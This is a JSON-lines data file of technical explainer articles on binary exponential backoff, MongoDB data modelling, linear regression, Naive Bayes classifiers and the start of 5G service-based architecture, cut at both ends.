as *jitter*. \n\nAlternatively, nodes could select a random slot within the contention window as standardized in Ethernet or Wi-Fi. In a modified BEB, each successive slot will be selected with a probability of \\(1/2^i\\) after \\(i\\) collisions. This means that next retry can potentially happen after \\(2^i\\) slots. \n\nWith **Truncated BEB**, a maximum backoff time is defined so that nodes that experience lots of collisions don't end up waiting longer and longer. However, there may be limit to the maximum number of retries. In Wi-Fi, CW is in the range [23, 1023]. \n\nOther variations include continuously listening to the channel and modifying the backoff; tuning the CW based on slot utilization and collision count; increasing the CW with every alternate collision. \n\n## Milestones\n\n1970\n\nNorman Abramson proposes the use of a shared broadcast channel for the ALOHA system. This system would use radio communications to connect computers of the University of Hawaii spread across the islands of Hawaii. The system comes into operation in June 1971. The design of ALOHA didn't define any backoff since it was assumed that both new and retransmitted packets arrive according to a Poisson process. \n\n1973\n\nLeonard Kleinrock and Simon S. Lam propose the first backoff algorithm for multiple access in slotted ALOHA. A uniform random retransmission delay over K slots is proposed. Channel throughput increases with K but when K goes to infinity channel throughput approaches 1/e. In July, Lam shows that with fixed K backoff, slotted ALOHA is unstable. This suggests that K has to be adaptive. \n\n1975\n\nSimon S. Lam and Leonard Kleinrock propose an adaptive backoff algorithm called **Heuristic RCP (Retransmission Control Procedure)**. The idea is to adapt K based on the number of collisions (m) a packet has experienced. If K increases steeply with respect to m, channel saturation won't happen. Binary exponential backoff is a special case of Heuristic RCP where \\(K=2^m\\). \n\n2005\n\nIEEE publishes IEEE 802.11e, an amendment to the 802.11 standard. This specifies Quality of Service (QoS) enhancements at the MAC layer. It proposes a feature named **Enhanced Distributed Channel Access (EDCA)**. Traffic is categorized by type into an Access Category (AC). Each AC has its own interframe spacing, and minimum and maximum values for the contention window. This is the way traffic is prioritized towards channel access.","meta":{"title":"Binary Exponential Backoff","href":"binary-exponential-backoff"}}
{"text":"# Data Modelling with MongoDB\n\n## Summary\n\n\nThough MongoDB is schema-less, there's an implied structure and hence a data model. \n\nWhen designing a data model, developers should ask what data needs to be stored, what data is likely to be accessed together, how often will a piece of data be accessed, and how fast will data grow and will it be unbounded. Answers to these questions will lead to a data model that's right for each application. \n\nIn designing the data model, there's no format process, algorithms or rules. Based on years of experience, MongoDB practitioners have come up with a set of **design patterns** and how they fit into common use cases. These are only guidelines. Ultimately, the developer has to analyze the application and see what fits best.\n\n## Discussion\n\n### Given that MongoDB is schema-less, why do we need data modelling?\n\nBy being schema-less, we can easily change the structure in which data is stored. Documents in a collection need not conform to a single rigid structure. The trade-off is that by not having a schema and not validating against that schema, software bugs can creep in. When data is stored in many different ways, application complexity increases. Schema is self-documenting and leads to cleaner code. With sophisticated validations, application code can become simpler. \n\nWhile MongoDB is schema-less, in reality, data is seldom completely unstructured. Most data has some implied structure, though MongoDB may not validate that structure. Even when data evolves over time, there's some base structure that stays constant. Starting from MongoDB 3.2, document validation is possible. \n\nHere are some specific areas where schema helps: \n\n    + When matching on nested document fields, the order of fields matters.\n    + Data with a complicated structure is easier to understand and process given the schema.\n    + When using an Object Document Manager (ODM), the ODM can benefit from the schema.\n    + Frequent changes to the document structure without a schema can cause performance issues.\n\n### What's the difference between embedded data models and normalized data models?\n\nWhile MongoDB is document-oriented, it stills allows for relations among collections. This is supported by the `$lookup` and `$graphLookup` pipeline operators. When designing a data model, we have to therefore decide if it makes sense to embed information within a document or to keep it in a separate collection. \n\n**Embedded data model** is applicable when there's a \"contains\" relationship. Reads are performant when there's a need to access nested documents along with the main document. Document can also be updated in a single atomic operation. To model one-to-many relationship, an array of documents can be nested. However, MongoDB limits a document size to 16MB and at most 100 levels of nesting. \n\n**Normalized data model** uses object references to model relationships between documents. Such a model avoids data duplication: a document can be referenced by many other documents without duplicating its content. Complex many-to-many relationships are easily modelled. Likewise, large hierarchical datasets can be modelled. Data can also be referenced across collections. \n\n\n### How do I define 1-to-1, 1-to-n and n-to-n relationships in MongoDB?\n\nConsider a User document. The person works for only one company. Company field or document is embedded within the User document. This is an example of 1-to-1 relationship. \n\nA person may have multiple addresses, which is a 1-to-n relationship. This is modelled in MongoDB as an array of documents, that is, an array of addresses is embedded into the User document.  \n\nAnother 1-to-n example is a Product document that contains many Part documents. There could be dozens of parts. It may be necessary to access each part on its own independent of the product. Hence, we might embed into a Product document an array of ObjectID references to the parts. Parts are stored in a separate collection.  \n\nConsider a to-do application that assigns tasks to users. A user can have many tasks and a task can be assigned to many users. This is an example of n-to-n relationship. A User document would embed an array of ObjectID references to tasks. A Task document would embed an array of ObjectID references to users. \n\n\n### Could you share essential tips towards MongoDB schema design?\n\nEmbed documents unless there's a good reason not to. Objects that need to be accessed on their own or high-cardinality arrays are compelling reasons not to embed. \n\nArrays model 1-to-n relationship. If n is few, embed the documents. If n is in the hundreds, embed ObjectID references, called **child referencing**. If n is in the thousands, embed the `1` ObjectID reference from within `n` documents, called **parent referencing**.  \n\nDon't shun application-level joins. If data is correctly indexed and results are minimally projected, they're quite efficient. \n\nConsider the **read-to-write ratio**. A high ratio favours denormalization and improves read performance. A field that's updated often is not a good candidate for denormalization since it has to be updated in multiple places. \n\nAnalyze your application and its data access patterns. Structure the data to match the application. \n\n\n### What schema design patterns are available in MongoDB?\n\nWe briefly describe each pattern: \n\n    + **Approximation**: Fewer writes and calculations by saving only approximate values.\n    + **Attribute**: On large documents, index and query only on a subset of fields.\n    + **Bucket**: For streaming data or IoT applications, bucket values to reduce the number of documents. Pre-aggregation (sum, mean) simplifies data access.\n    + **Computed**: Avoids repeated computations on reads by doing them at writes or at regular intervals.\n    + **Document Versioning**: Allows different versions of documents to coexist.\n    + **Extended Reference**: Avoid lots of joins by embedding only frequently accessed fields.\n    + **Outlier**: Data model and queries are designed for typical use cases, and not influenced by outliers.\n    + **Pre-Allocation**: Reduce memory reallocation and improve performance when document structure is known in advance.\n    + **Polymorphic**: Useful when documents are similar but don't have the same structure.\n    + **Schema Versioning**: Useful when schema evolves during the application's lifetime. Avoids downtime and technical debt.\n    + **Subset**: Useful when only some data is used by application. Smaller dataset will fit into RAM and improve performance.\n    + **Tree**: Suited for hierarchical data. Application needs to manage updates to the graph.\n\n### Could you share an example showing the use of MongoDB schema design patterns?\n\nThe example in the figure pertains to an e-commerce application. It shows the use of five design patterns among three collections: \n\n    + **Schema Versioning**: Every collection includes an integer field `schema` to store the schema version.\n    + **Subset**: Items and reviews are stored as separate collections but since `top_reviews` are frequently accessed from items, these are embedded into items documents. Other reviews are rarely accessed. Another example is `staff` information embedded into stores collection.\n    + **Computed**: Since `sum_reviews` and `num_reviews` are frequently accessed, these are pre-computed and stored in reviews. Another example are fields `tot_rating` and `num_ratings` in items collection.\n    + **Bucket**: Rather than store each review as a separate document, reviews are bucketed into a time window (`start_date` and `end_date`).\n    + **Extended Reference**: Fields part of other collections, but frequently accessed, are duplicated for higher read performance and avoid joins. Fields `sold_at` in items and `items_in_stock` in stores are two examples.\n\n### What are some schema design anti-patterns in MongoDB?\n\nWe could have large arrays stored in documents, some of which are unbounded. Storing lots of a data together leads to bloated documents. Storing numerous collections in a database, some of which are unused, is another anti-pattern. \n\nA collection may have many indexes, some of which could be unnecessary. Remove indexes that are rarely used. Remove indexes already covered by another compound index. \n\nAnother anti-pattern is storing information in separate collections although they're often accessed together. The `$lookup` operator is similar to JOIN in relational databases. It's slow and resource intensive. Instead, it's better to denormalize this data. \n\nA case-insensitive query without having a case-insensitive index to cover it is another anti-pattern. We could use `$regex` with the `i` option but this doesn't efficiently utilize case-insensitive indexes. Instead, create a case-insensitive index, that is, index with a collation strength of 1 or 2. \n\nOn MongoDB Atlas, Performance Advisor or Data Explorer can spot anti-patterns and warn developers of the same. \n\n## Milestones\n\nFeb  \n2009\n\n**MongoDB 1.0** is released. By August, this version becomes generally available for production environments. \n\nDec  \n2015\n\nMongoDB 3.2 is released. **Schema validation** is now possible during updates and inserts. Validation rules can be specified with the `validator` option via the `db.createCollection()` method and `collMod` command. Validation rules follow the same syntax as query expression. This release also adds `$lookup` pipeline stage to join collections. \n\nNov  \n2017\n\nMongoDB 3.6 is released with support for **JSON Schema validation**. The `$jsonSchema` operator within a `validator` expression must be used for this purpose. \n\nJun  \n2018\n\nMongoDB 4.0 is released with support for multi-document transactions. However, it's useful to note that due to associated performance costs, developers may benefit from schema redesign, such as a denormalized data model. \n\nApr  \n2019\n\nOn the MongoDB blog, Coupal and Alger conclude their series of articles titled *Building with Patterns* with a useful summary. Along with a brief description of each data modelling pattern, they note possible use cases of each pattern. \n\nJul  \n2021\n\nMongoDB 5.0 is released. When schema validation fails, detailed explanations are shown.","meta":{"title":"Data Modelling with MongoDB","href":"data-modelling-with-mongodb"}}
{"text":"# Linear Regression\n\n## Summary\n\n\nLinear regression is a statistical technique used to establish the relationship between variables in a dataset. The equation \\(y = mx + c\\) describes a linear relationship between dependent variable \\(y\\) and independent variable \\(x\\). We may state that \\(y\\) depends on \\(x\\). Given sufficient data, linear regression estimates the values of coefficient \\(m\\) and constant \\(c\\). In a geometric interpretation, \\(m\\) is the slope and \\(c\\) is the intercept. In an alternative notation, these are expressed as \\(β\\_1\\) and \\(β\\_0\\) respectively. \n\nVariable \\(y\\) is also called response or predicted variable. Variable \\(x\\) is also called predictor variable. The reason for this that once parameters of the model \\(β\\_0\\) and \\(β\\_1\\) are estimated, we can make predictions of \\(y\\) given any value of \\(x\\). \n\nLinear regression is a field of statistics. This article looks at the types, important assumptions and techniques in linear regression.\n\n## Discussion\n\n### Could you explain linear regression with some examples?\n\nLinear regression is frequently used by businesses to understand the link between advertising budget and revenue. In other words, it answers the question \"For every advertising dollar I spend, how much will my revenue increase?\" This can be modelled as \\(Revenue=β\\_0+β\\_1 \\cdot AdSpending\\)\n\n\\(β\\_0\\) represents total expected revenue when ad spending is zero. The coefficient \\(β\\_1\\) represents the average increase in total revenue when ad spending is increased by one unit. When \\(β\\_1<0\\), higher ad spending is associated with lower revenue. When \\(β\\_1=0\\) is close to zero, ad spending has little effect on revenue. When \\(β\\_1>0\\) is positive, higher ad spending leads to higher revenue. The model thus aids decision making: a company may decrease or increase its ad spending based on the value of \\(β\\_1\\). \n\nIn the figure, the red line is the **best-fit straight line**, \\(y=4.187-0.356x\\). The values \\(β\\_0=4.187\\) and \\(β\\_1=-0.356\\) are what regression analysis has estimated from available data. Yield falls by 0.356% for every 1% increase in cultivated area. This model can now be used to make predictions; that is, given an area, we can predict the yield. \n\n\n### What are the main types of linear regression models?\n\nThe main types of linear regression models are:\n\n    + **Simple Linear Regression**: This is the most basic type and deals with a single predictor variable. Predicting revenue from ad spending is an example.\n    + **Multiple Linear Regression**: Aka *multivariable linear regression*. This is applicable when there are many predictor variables. An example of this is predicting wine prices. This depends on mean growing season temperature, harvest rainfall, winter rainfall, and more.\n    + **Hierarchical Linear Model**: Aka *multilevel regression*. Such a model captures the natural hierarchy in predictor variables. Analysis involves a hierarchy of regressions, such as A regressed on B, and B regressed on C. For example, students are nested into classes, classrooms into schools, and schools into districts. So a student's test score can be modelled based on overall performance at different levels.\n\n### What's the mathematical notation of a linear regression model?\n\nWe consider the general case of multiple linear regression with \\(k\\) independent variables. The model therefore has to estimate \\(k+1\\) parameters: constant \\(β\\_0\\) and coefficients \\(β\\_j\\;for\\;1\\le j\\le k\\). The mathematical notation of this model is given in the figure. \n\nIn linear algebra, this is expressed as \\(Y = X \\cdot β + ϵ\\), where \\(X\\) is a \\(m\\,\\times\\,k+1\\) matrix, \\(β\\) and \\(Y\\) are m-dimensional vectors, and \\(m\\) being the number of observations or data points. \n\nRegression analysis is simply finding \\(β\\) that minimizes the error term \\(ϵ\\). This leads us to what's called the **normal equation**: \\(β=(X^TX)^{-1} \\cdot X^TY\\). As is apparent, this equation is in a form that solves for model parameters \\(β\\).  \n\nIn Machine Learning (ML), it's common to use \\(θ\\) instead of \\(β\\) for the model parameters.  \n\n\n### What are some estimation methods in linear regression?\n\nMethods commonly used for estimating the model parameters (also called estimates) are: \n\n    + **Ordinary Least Squares (OLS)**: This looks at the sum of the square of the difference between actual observed value and its prediction via the model. The method attempts to minimize this sum.\n    + **Method of Moments (MoM)**: This uses moments, which are the expectation of the powers of a random variable. Number of moments to be calculated is equal to the number of unknown parameters. The resulting system of equations is then solved.\n    + **Maximum Likelihood Estimate (MLE)**: This seeks to maximize the likelihood function. In other words, we determine the estimates that make the observed values most probable. MLE method is applicable when the probability distribution of the error terms is known.Related to OLS are more sophisticated methods including Weighted Least Squares (WLS) and Generalized Least Squares (GLS). Less common ones are Least Median Squares and Least Trimmed Squares. In fact, the minimization need not be of the squares. We could minimize on Least Absolute Deviations, Huber, Bisquare, etc. \n\n\n### How do I evaluate the performance of a linear regression model?\n\nModels are rarely perfect and there's a need to measure how good a model really is. The differences between predicted values and actual values are called **residuals**. Model evaluation and validating the assumptions can be performed from residuals and this field of study is called **Residual Analysis**. \n\n**Mean Absolute Error (MAE)** and **Mean Squared Error (MSE)** are two ways to quantify the residuals. MAE looks at absolute differences. MSE looks at the square of the differences. Another measure is **Root Mean Squared Error (RMSE)** that's the square root of MSE. RMSE has the same unit as the output variable, making it easier to interpret. \n\nPerhaps the most widely used statistical measure is **R-Squared (R2)**. It quantifies the proportion of the variation explained by the model. Closer it is to 1, better the model explains the data. R2 is also called the **Coefficient of Determination**. \n\n\n### What are the main assumptions when constructing a linear regression model?\n\nIn linear regression, we usually make the following assumptions:  \n\n    + **Linearity**: The dependent variable Y is related to the independent variables X in a linear way.\n    + **Independence**: Observations are independent of one another. We could also say that the residuals are independent of Y. In time-series data, observations are not correlated. When data doesn't meet this assumption, we have a problem called *autocorrelation*.\n    + **Normality**: Residuals are normally distributed. Equivalently, at a fixed observation X, the dependent variable Y is normally distributed.\n    + **Homoscedasticity**: The residuals have the same variance at all predicted or fitted points Y. When data doesn't meet this assumption, we have a problem called *heteroscedasticity*.If one or more of these assumptions is violated, what the model predicts may be incorrect or even deceptive. \n\n\n### How can I determine if linear regression is appropriate for a particular set of data?\n\nScatterplot can help us validate the linearity assumption. For multiple linear regression, 2-D pairwise scatter plots, rotating plots, and dynamic graphs can help. \n\nTo validate the independence assumption, a scatterplot of residuals versus fitted values shouldn't show any pattern. \n\nTo validate the normality assumption, a normal probability plot, a residual histogram or a quantile-quantile plot can be used. \n\nTo validate the homoscedasticity assumption, do a scatterplot of residuals against the fitted values. A cone-shaped pattern implies that the residuals vary more for some predicted values than others, thus invalidating the assumption. There are also lots of statistical tests to check for homoscedasticity: Bartlett's Test, Box's Test, Brown-Forsythe Test, Hartley's Fmax Test, Levene's Test, and Breusch-Pagan Test. \n\nWe also expect predictor variables to be independent of one another. A scatterplot of one independent variable with another can validate this. We can also calculate the correlation coefficients pairwise for all independent variables. Correlation coefficients close to ±1 imply high correlation. Low model coefficients or high Variance Inflation Factor (VIF) indicate correlated variables. \n\n\n### How do autocorrelation, multicollinearity, and heteroscedasticity affect linear regression estimates?\n\n**Autocorrelation** exists when multiple observations of a predictor variable are not independent. This is common in time-series data but could occur in other scenarios such as samples drawn from a cluster or geographic area. Autocorrelation can be detected with the Durbin-Watson test. Due to autocorrelation, OLS estimators will be inefficient. Estimated variance of regression coefficients will be biased and inconsistent. Hypothesis testing will be invalid. R2 will be overestimated. \n\nA correlation between two or more predictor variables is referred to as **multicollinearity**. Though the overall model fit is not affected, multicollinearity can increase the variance of estimates and make them sensitive to model changes. Model becomes harder to interpret. It's harder to determine the precise effect of each predictor. \n\nHeteroscedasticity means unequal spread of the residuals. It's a problem because OLS regression assumes constant spread. Though this doesn't introduce bias to the estimates, it does make them less precise. It produces smaller p-values because OLS regression doesn't detect the increase in the variance of the estimates. Thus, we may wrong conclude that an estimate is statistically significant. \n\n\n### How do we model the interaction of independent variables?\n\nWhen one independent variable has a distinct effect on the outcome based on the values of another independent variable, we call this an **interaction**. \n\nAssume that a cholesterol-lowering medication is being evaluated in a clinical trial. Drug effect is dependent on both dose administered and the patient's sex. Without interaction between dose and sex, effect increases at a fixed slope with respect to the dose regardless of the sex. \n\nWith interaction, we can no longer ask what's the drug's effect since for every unit dose the incremental effect depends on the sex. Dose affects males differently from females and this what interaction is about. We can see in the figure that the slope is steeper for males than for females. We could use two separate linear models, one for each sex. But it's easier to enhance a single model to handle the interaction. Such as model can be written as, \\(Y = β\\_0 + β\\_1 \\cdot dose + β\\_2 \\cdot sex + β\\_3 \\cdot dose \\cdot sex\\). If there's no interaction, \\(β\\_3\\) is zero. \n\n\n### What are random effects, fixed effects and mixed effects models?\n\nWhen model parameters \\(β\\) are random variables, it's called a random effects model. Otherwise, we have a fixed effects model. A model that considers both fixed and random effects is called a mixed effects model. \n\nMathematically, a mixed effects model is written as, \\(Y = X \\cdot β + Z \\cdot u + ϵ\\) where the first term models the fixed effects and the second term models the random effects. \n\nLet's assume a study involving 10 people. Repeated measurements are collected from each person. However, these individuals are only \"random\" samples from a larger population. This sampling is accounted for by the random effects term of the model.  \n\nThe random effects term also models a hierarchy of distinct populations (hence it relates to multilevel regression). An example hierarchy is students, schools, and districts. Random effects term models the variations at school and district levels. Perhaps a good definition that clarifies this is, \n\n> Fixed-effect parameters describe the relationships of the covariates to the dependent variable for an entire population, random effects are specific to clusters of subjects within a population.\n\n\n### What software packages are useful for solving linear regression problems?\n\nIn Python, **scikit-learn** is perhaps the most helpful Python for linear regression. In particular, `sklearn.linear_model.LinearRegression` and `sklearn.metrics` are relevant. \n\nIn R, there are many packages with functions to perform linear regression. Package `stats` is most useful. Package `car` can help with ANOVA analysis, residual analysis and testing the assumptions. Package `MASS` enables Generalized Least Squares (GLS) and robust fitting of linear models. Package `caret` streamlines the model training process and includes ML algorithms. Package `glmnet` enables many types of linear regression. `BLR` supports Bayesian linear regression, which is a subset of linear regression. `Lars` supports Lasso regression efficiently. \n\n## Milestones\n\n1875\n\nSir Francis Galton and Karl Pearson reveal that Galton's research on the genetic traits of sweet peas is probably the first example of linear regression. \n\n1894\n\nSir Francis Galton proposes the notion of linear regression for the first time. \n\n1896\n\nPearson's first rigorous discussion of **correlation** and **regression** is published in the *Philosophical Transactions of the Royal Society of London*. Pearson credits Bravais (1846) with discovering the first mathematical formulas for correlation. \n\n1922\n\nPearson's theory explains how the **regression slope** is discovered. \n\n1938\n\nPearson develops a theory for **multiple regression**. He also makes novel advances in other areas of statistics such as chi-square. \n\n1981\n\nGhiselli explains a simpler proof for the product-moment approach than Pearson's. \n\n1990\n\nComputations to a complete linear regression is formed.","meta":{"title":"Linear Regression","href":"linear-regression"}}
{"text":"# Naive Bayes Classifier\n\n## Summary\n\n\nNaive Bayes is a **probabilistic classifier** that returns the probability of a test point belonging to a class rather than the label of the test point. It's among the most basic Bayesian network models, but when combined with kernel density estimation, it may attain greater levels of accuracy. . This algorithm is applicable for Classification tasks only, unlike many other ML algorithms which can typically perform Regression as well as Classification tasks. \n\nNaive Bayes algorithm is considered naive because the assumptions the algorithm makes are virtually impossible to find in real-life data. It uses conditional probability to calculate a product of individual probabilities of components. This means that the algorithm assumes the presence or absence of a specific feature of a class which is not related to the presence or absence of any other feature (absolute independence of features), given the class variable.\n\n## Discussion\n\n### Could you explain the Naive Bayes classifier with examples?\n\nConsider two groups of insects, grasshoppers and katydids. By studying the antenna lengths from many insect samples, we can discern some patterns and computed probabilities. For examples, given an antenna length of 3 cm, the insect is more likely to be a grasshopper than a katydid. Naive Bayes classifier is a technique to perform such a classification. Antenna length is a feature that's used to classify an insect into one of two classes. \n\nSuppose the antenna length is 5 cm. Probabilities computed from observed samples inform that both classes are equally likely. In this case, classification can be improved by considering more features such as abdomen length. NB classifier assumes that features are independent of one another. \n\nConsider the statement \"Officer Drew arrested me.\" Is Drew male or female? We can answer this by gathering data on the officer: height, eye colour and long/short hair. Then we lookup a police database of all officers and apply NB classifier. This problem uses three independent features and two classes (male or female). \n\n\n### What is Bayes' Theorem and how is it relevant to the NB classifier?\n\n**Bayes theorem** (aka Bayes rule) works on conditional probability. In conditional probability, the occurrence of a particular outcome is conditioned on the outcome of another event occurring. Given two events A and B, Bayes theorem states that,\n\n$$P(A|B) = \\frac{P(A⋂B)}{P(B)} = \\frac{P(A) \\cdot P(B|A)}{P(B)}$$\n\nwhere \\(P(A)\\) and \\(P(B)\\), called marginal probability or prior probability, are the probabilities of events A and B event occurring; where \\(P(A|B)\\), called posterior probability, is the probability of event A occurring given that event B has occurred; where \\(P(B|A)\\), called likelihood probability, is the probability of event B occurring given that event A has occurred; \\(P(A⋂B)\\) is the joint probability of both events occurring. \\(P(A|B)\\) and \\(P(B|A)\\) are also called conditional probabilities.\n\nSuppose you have drawn a red card from a deck of playing cards. What's the probability that it's a four? We apply conditional probability. There are 26 possible red cards and two of the are fours. Thus, \\(P(four|red)=2/26=1/13\\). Bayes Theorem allows us to reformulate the problem as follows: \n\n$$P(four|red) = P(four) \\cdot P(red|four) / P(red)\\\\= (4/52 \\cdot 2/4) / (26/52)\\\\= 1/13$$\n\n\n### What are the types of the NB classifier?\n\nscikit-learn implements three naive Bayes variants based on the same number of different probabilistic distributions: Bernoulli, multinomial, and Gaussian.\n\n**Bernoulli Naive Bayes** \n\nThe predictors in this case are boolean variables. So your only options are 'True' and 'False' (you might also have 'Yes' or 'No'). When the data has a multivariate Bernoulli distribution, we use it. \n\n**Multinomial Naive Bayes** \n\nThe frequency with which particular events were created by a multinomial distribution are represented by feature vectors. This is the event model that is most commonly used for document classification.This algorithm is used to tackle document classification difficulties. For example, if you want to know whether a document is in the 'Legal' or 'Human Resources' category, you'd use this technique to figure it out. It makes advantage of the frequency of the current words as a feature.\n\n**Gaussian Naive Bayes** \n\nIt is used for numerical / continuous features. The distribution of continues values are \"assumed\" to be Gaussian. And therefore the likelihood probabilities are computed based on Gaussian distribution. \n\n\n### How would you use Naive Bayes classifier for categorical features?\n\nFor a discrete variable with more than two possible outcomes, such as the roll of a dice, the categorical distribution is an extension of the Bernoulli distribution. In contrast, the categorical distribution provides a probability of different outcomes for one drawing rather than multiple drawings as is the multinomial distribution. \n\nThe properties should be encoded using label encoding techniques, and each category should be assigned a unique number.\n\nIt is given by: \n\n\\(p(x\\_i = t | y = c; α) = N\\_???+α /N\\_c+α n\\_i\\)\n\n\\(?\\_???\\) = Number of times category t appears in the samples ??, which belong to class ?\n\n\\(?\\_?\\) = Total number of samples with class c\n\n\\(?\\) = Laplace smoothing parameter used to handle zero frequency problem\n\n\\(?\\_?\\) = Number of available categories of feature\n\n\n### What is Laplace smoothing in the context of the NB classifier?\n\nLaplace smoothing is a smoothing technique used in Naive Bayes to solve the problem of zero probability. Consider text categorization, where the aim is to determine if a review is good or negative. Based on the training data, we create a likelihood table. We use the Likelihood table values when querying a review, but what if a word in a review was not present in the training dataset?. For example, a test query has form, Query review= x1x2x’\n\nLet, a test sample have three words, where we assume x1 and x2 are present in the training data but not x’. Laplace smoothing comes into picture.\n\n\\(P(x’/positive)= (number of reviews with x’ and target\\_outcome=positive + α) / (N+ α\\*k)\\)\n\nK denotes the number of dimensions (features) in the data.\n\nN is the number of reviews with the target outcome=positive.\n\nα represents the smoothing parameter. \n\n\n### Can we use the NB classifier when features are not independent?\n\nThe process of evaluating features depending on how successful they are in predicting the target variable is known as feature importance.The naive bayes classifiers do not provide an intrinsic technique for determining the relevance of features. Naive Bayes algorithms forecast the class with the highest probability by computing the conditional and unconditional probabilities associated with the features.As a result, no coefficients have been generated or connected with the characteristics used to train the model.However, there are ways for analysing the model after it has been trained that can be used post-hoc. One of these strategies is the Permutation Importance, which has been neatly implemented in scikit-learn. \n\nWhen the data is tabular, **permutation feature importance** is a model inspection technique that can be utilised for any fitted estimator. For a given dataset, the permutation importance function computes the feature importance of estimators. The **n\\_ repeats** option specifies how many times a feature is randomly shuffled before returning a sample of feature importances. \n\n\n### What are some applications of the NB classifier?\n\n**Text classification/ Spam Filtering/ Sentiment Analysis**: Naive Bayes classifiers, which are commonly employed in text classification (owing to better results in multi-class problems and the independence criterion), have a greater success rate than other techniques. As a result, it is commonly utilised in spam filtering (determining spam e-mail) and sentiment analysis (in social media analysis, to identify positive and negative customer sentiments)\n\n**Recommendation System**: The Naive Bayes Classifier and Collaborative Filtering work together to create a Recommendation System that employs machine learning and data mining techniques to filter unseen data and forecast whether a user would enjoy a given resource or not. \n\n**Multi-class Prediction**: This algorithm is also well-known for its multi-class prediction capability. We can anticipate the likelihood of various target variable classes here. \n\n**Real-time Prediction**: Naive Bayes is a quick learning classifier that is eager to learn. As a result, it might be utilised to make real-time forecasts. \n\n\n### How is the NB classifier related to logistic regression?\n\nGiven input features \\(X\\), both NB classifier and logistic regression predict an output class, that is, output \\(Y\\) is categorical. Logistic regression directly estimates \\(P(Y|X)\\) whereas NB classifier applies the Bayes theorem and estimates \\(P(Y)\\) and \\(P(X|Y)\\). As such, we call logistic regression a **discriminative classifier** and NB a **generative classifier**. \n\nIt's been observed that on small training datasets, NB classifier does better than logistic regression. If more training samples are available, logistic regression does better. While logistic regression has a lower asymptotic error, NB classifier may converge faster to its higher asymptotic error. \n\nIt's known that the Gaussian Naive Bayes (GNB) classifier is closely related to logistic regression. Parameters of one model can be expressed in terms of the other. Moreover, asymptotically both converge to the same classifier when GNB assumptions hold. When the assumptions don't hold, such as dependence among features, logistic regression does better because it adjusts its parameters to give a better fit. \n\n\n### What are some disadvantages and advantages of the NB classifier?\n\n**Advantages**: Naive bayes is Simple to put into action. The conditional probabilities are simple to compute. The probabilities can be determined immediately, there is no need for iterations. As a result, this strategy is useful in situations when training speed is critical. If the conditional Independence assumption is true, the consequences could be spectacular. This algorithm predicts classes faster than many other classification algorithms. \n\n**Disadvantages**:The premise of independent predictors is the main imitation of Naive Bayes. Naive Bayes implicitly assumes that all attributes are independent of one another. In practise, it is very hard to obtain a set of predictors that are totally independent. If a categorical variable in the test data set has a category that was not observed in the training data set, the model will assign a 0 (zero) probability and will be unable to predict. This is commonly referred to as Zero Frequency. you can utilise the smoothing approach to remedy this. Laplace estimation is one of the most basic smoothing techniques. \n\n## Milestones\n\n1763\n\nThe Royal Society publishes a paper on probability by Thomas Bayes after his death in 1761. It's titled *Essay Towards Solving a Problem in the Doctrine of Chances* and details what would later become famous as the **Bayes inference**. The basic idea is to revise predictions based on new evidence. Decades later (early 19th century), Pierre-Simon Laplace develops and popularizes Bayesian probability.  \n\n1940\n\nBayesian approach is applied during the Second World War. It sees a revival in the years after the war. Earlier, Bayesian approach had been criticized. The frequentist approach developed by R.A. Fisher had been favoured since the mid-1920s. \n\n1960\n\nMaron and Kuhns apply Bayes' Theorem to the task of **Information Retrieval (IR)**. The probability of retrieving a relevant document given a query can be computed from the prior probability of document relevance and conditional probability of user making a particular query given the relevant document. Over the next forty years, Naive Bayes is the main technique in IR until machine learning techniques become popular. \n\n1968\n\nHughes considers a **two-class pattern recognition problem**. The model considers \\(n\\) discrete values that can be measured and \\(m\\) sample patterns. He shows that for a given \\(m\\), there's an optimal \\(n\\) that minimizes the pattern recognition error. This is shown in the figure (right) for the case of equal class probabilities. The figure (left) also shows an example of \\(n=5\\) in which values 1-3 imply class \\(c\\_1\\) and values 4-5 imply class \\(c\\_2\\). \n\n1973\n\nDuda and Hart use the Naive Bayes classifier in **pattern recognition**. \n\n1992\n\nLangley et al. present an **analysis** of Bayesian classifiers considering noisy classes and noise-free attributes. They find that the Naive Bayes classifier gives comparable results to the C4 algorithm that induces decision trees. They conclude that despite its simplicity, the Naive Bayes classifier deserves more research attention. \n\n1997\n\nDomingos and Pazzani show that even when **attributes are not independent**, the Bayesian classifier does well. It can be optimal under zero-one loss (misclassification rate). It's optimal under squared error loss only when the independence assumption holds. \n\n1998\n\nKasif et al. propose a probabilistic framework for memory-based reasoning (MBR). Such a framework can be used for classification tasks. They note that a **probabilistic graphical model** is really another way of looking at the Naive Bayes classifier.","meta":{"title":"Naive Bayes Classifier","href":"naive-bayes-classifier"}}
{"text":"# 5G Service-Based Architecture\n\n## Summary\n\n\nCellular core networks till LTE used specialized telecom protocols running on specialized telecom hardware. With LTE vEPC, the first efforts were made towards virtualization. Service-Based Architecture (SBA) is an evolution of this approach and it's been adopted by 5G System.\n\nIn SBA, a set of Network Functions (NFs) provide services to other authorized NFs. These NFs are nothing more than software implementations running on commercial off-the-shelf hardware, possibly in the cloud. A NF can offer one or more services. NFs are interfaced via well-defined APIs and a client-server model. Traditional telecom signalling messages are replaced with API calls on a logically shared service bus. \n\nSBA utilizes the maturity of web and cloud technologies. Modularity, scalability, reliability, cost-effective operation, easy deployments, and faster innovation are some of the benefits of moving to SBA.\n\n## Discussion\n\n### Why does the 5G Core need a service-based architecture?\n\n5G is not just about new devices, new use cases and higher speeds. The core network needs to be modernized to be able to support demanding performance requirements. eMBB, mMTC and URLLC are all different use cases that can't be satisfied by a monolithic architecture. We're expecting a massive increase in high-bandwidth content, low-latency applications and huge volumes of small data packets from IoT sensors. \n\n5G Core needs to be flexible, agile and scalable. User plane and control plane need to be scaled independently. Traffic handling must be optimized. Network operators must be able to quickly launch new services. This calls for virtualization, a software-driven approach and adopting web protocols and cloud technologies. The network must be composed of loosely coupled network functions that can be managed independently but interfaced efficiently via mature and scalable technologies. \n\nTo reduce both CAPEX and OPEX, there's a need to use off-the-shelf hardware running multi-vendor software exposing open interfaces. Operators must have the flexibility to use private or public clouds. Compute and storage should be distributed. There's a need to support edge computing. \n\n\n### What are the benefits of moving to 5G SBA?\n\nSince NFs are loosely coupled and interfaced with APIs, each NF can be evolved and deployed independently. SBA signifies a move from monolithic to **modular architecture**. New NFs can be rolled out without impacting existing ones. Via NEF, external applications can interwork with 5G Core. Across the 5G ecosystem, this enables **faster innovation**. \n\nSBA brings **scalability and resilience**. Rather than add physical nodes that may take weeks, new instances of NFs can be created/destroyed dynamically in minutes. If an instance or a physical node fails, monitoring systems can detect this and quickly spin up new instances.  \n\nSBA's modular design enables **network 